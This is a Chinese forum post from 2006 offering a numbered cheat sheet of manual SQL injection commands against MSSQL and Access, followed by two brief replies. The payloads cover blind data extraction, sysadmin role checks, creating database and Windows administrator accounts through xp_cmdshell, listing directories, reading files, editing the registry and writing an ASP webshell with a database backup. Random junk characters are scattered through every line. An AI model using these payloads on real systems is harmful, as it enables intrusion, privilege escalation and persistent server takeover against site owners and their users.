社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4250阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 -$tf`   
  2.初步判断是否是mssql ;and user>0 Mv7=ZAm  
BX-fV|  
  3.注入参数是字符'and [查询条件] and ''=' >%i]p  
|tdsg  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' H#FH '@J  
\oy8)o/Gb  
  5.判断数据库系统 l$J2|\M6  
9f_Qs4  
  ;and (select count(*) from sysobjects)>0 mssql qJYEsI2M  
`z~L0h  
  ;and (select count(*) from msysobjects)>0 access 8;Eg>_cL:  
XG;Dj<Dm  
@@} ]qT*  
f&88N<)  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 @r9[&  
GRj#1OqL  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 IXof- I%8  
@lTd,V5f  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 j V~+=(w)  
bm#/ KT_8  
  9.(1)猜字段的ascii值(access) `&5_~4T7  
<-O^ol,fX  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 eg(1kDMpn  
<jIuVX  
  (2)猜字段的ascii值(mssql) {^_K  
A? T25<}  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 v/~Lfi  
FN"Ye*d  
  10.测试权限结构(mssql) #Z1 <lAy  
*rv7#!].  
MoMxKmI  
*(CV OY~  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- $[{YE[a  
7Kn}KO!Y8  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- uE-|]QQo  
~U<=SyZYo  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- WIYWql>*  
dj5@9X  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Twq,6X-  
`!lQd}W  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 'A)9h7k}  
LQXMGgp  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- yL"UBe}v  
%1z`/B  
  ;and 1=(select IS_MEMBER('db_owner'));-- _l{_n2D-  
U_<k*o@:  
y?ypRCgO.u  
HA]5:ck  
  11.添加mssql和系统的帐户 T/iZ"\(~w  
)kvrQ6  
  ;exec master.dbo.sp_addlogin username;-- _<6B.{$\7m  
  ;exec master.dbo.sp_password null,username,password;-- `=19iAp.  
zr^"zcfz&  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- <P0&!yN  
?eOw8Rom  
  ;exec master.dbo.xp_cmdshell 'net user username password ;(Kj-,>  
DQ9}( '^  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- z(Q 5?+P  
IA^*?,AZy  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- ]@ N::!m  
$n_ax\15  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- AGK{t+`  
Z:.*fs5  
\fJ _,  
]!v\whZ>  
  12.(1)遍历目录 E3QyiW  
d~z%kl 5:  
  ;create table dirs(paths varchar(100), id int) kadw1sYj  
A&L2&ofV&q  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' Wh^wKF~%  
X{tfF!+iy  
  ;and (select top 1 paths from dirs)>0 rL|9Xru  
.9@y*_ 9  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) g![?P"i^t  
Hl=M{)q@   
3h**y %^  
L&G5 kY`  
  (2)遍历目录 &{ZTtK&JF  
sjG@4Or  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- L^e%oQ>s  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 k@^T<Ci  
Oz-@e%8L  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 j71RlS73  
gIY]hC.  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 8DcIM(;Z  
3.w &e0Es  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 67]!xy  
a}V<CBi  
x/uC)xm  
O]80";Uv  
  13.mssql中的存储过程 $aDkZj  
y4Lh:;  
  xp_regenumvalues 注册表根键, 子键 tG*HUN?*  
bj7r"_  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 1R"Z+tNB  
(\H^ KEy  
  xp_regread 根键,子键,键值名 F&$~]R=&  
/TY=ig1z  
  ;exec xp_regread x bD]EC  
g]jCR*]  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 g<^-[w4/  
->`R[k  
  xp_regwrite 根键,子键, 值名, 值类型, 值 ,$bK)|pGV  
u+qj_Ej  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 A9o"L.o)  
ub]"b[j\1  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 5v"Sv  
2 sK\.yS  
  xp_regdeletevalue 根键,子键,值名 <8BNqbX  
%:yVjb,Yf  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Vu;z|L  
gfQ1p?  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 X{8g2](z.  
Pa-{bhllu)  
jO}<W1qy  
][B>`gC-  
  14.mssql的backup创建webshell s_cur-  
KEo?Cy?%ff  
  use model <uvA([r=Vq  
mOntc6&]  
  create table cmd(str image); 5 #Et.P'  
{~EPP .  
  insert into cmd(str) values (''); 8SoTABHV  
q+W* ?a)  
  backup database model to disk='c:\l.asp'; PH>`//D%n?  
Qq3UC%Z1  
I\@`AU  
{QVs[ J1  
  15.mssql内置函数  >f*Zf(F  
ASUleOI79(  
  ;and (select @@version)>0 获得Windows的版本号 EM!9_8 f  
>r.W \  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa VF:95F;@  
0X4I-xx#  
  ;and (select user_name())>0 爆当前系统的连接用户 w3jcit|  
XPT@ LM  
  ;and (select db_name())>0 得到当前连接的数据库 m.ejGm?  
=DwY-Ex  
}Apn.DYbbf  
6-QcHJ>m6U  
  16.简洁的webshell r=S,/N(1  
g)nT]+&  
  use model 3c[]P2Bh  
,D2nUk  
  create table cmd(str image); U U@  
b)7v-1N  
  insert into cmd(str) values (''); (W5JVk_o  
eu0j jeB  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八